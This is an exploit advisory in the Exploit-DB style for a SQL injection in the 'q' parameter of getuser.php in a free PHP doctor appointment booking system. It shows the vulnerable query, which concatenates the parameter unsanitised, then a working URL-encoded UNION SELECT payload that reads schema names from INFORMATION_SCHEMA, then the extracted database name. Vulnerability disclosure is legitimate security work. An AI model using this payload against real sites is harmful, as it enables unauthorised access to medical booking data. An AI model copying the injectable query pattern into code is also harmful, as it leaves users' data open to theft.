Online Doctor Appointment Booking System PHP and Mysql 1.0 - 'q' SQL Injection

# Exploit Title: Online Doctor Appointment Booking System PHP and Mysql 1.0 - 'q' SQL Injection
# Google Dork: N/A
# Date: 11/16/2020
# Exploit Author: Ramil Mustafayev
# Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-doctor-appointment-booking-system-php-and-mysql/
# Software Link: https://projectworlds.in/wp-content/uploads/2020/05/PHP-Doctor-Appointment-System.zip
# Version: 1.0
# Tested on: Win10 x64, Kali Linux x64
# CVE : N/A
######## Description ########
# 
# An SQL injection vulnerability was discovered in PHP-Doctor-Appointment-System.
#
# In getuser.php file, GET parameter 'q' is vulnerable.
#
# The vulnerability could allow for the improper neutralization of special elements in SQL commands and may lead to the product being vulnerable to SQL injection. 
# 
#############################

Vulnerable code: 

include_once 'assets/conn/dbconnect.php';
$q = $_GET['q']; // Vulnerable param
// echo $q;
$res = mysqli_query($con,"SELECT * FROM doctorschedule WHERE scheduleDate='$q'"); // Injection point

Used Payload:

http://localhost/[PATH]/getuser.php?q=1%27%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x7162717671%2CIFNULL%28CAST%28schema_name%20AS%20NCHAR%29%2C0x20%29%2C0x7176627871%29%2CNULL%2CNULL%2CNULL%2CNULL%20FROM%20INFORMATION_SCHEMA.SCHEMATA%23

Output:

Extracted database: qbqvqdb_healthcareqvbxq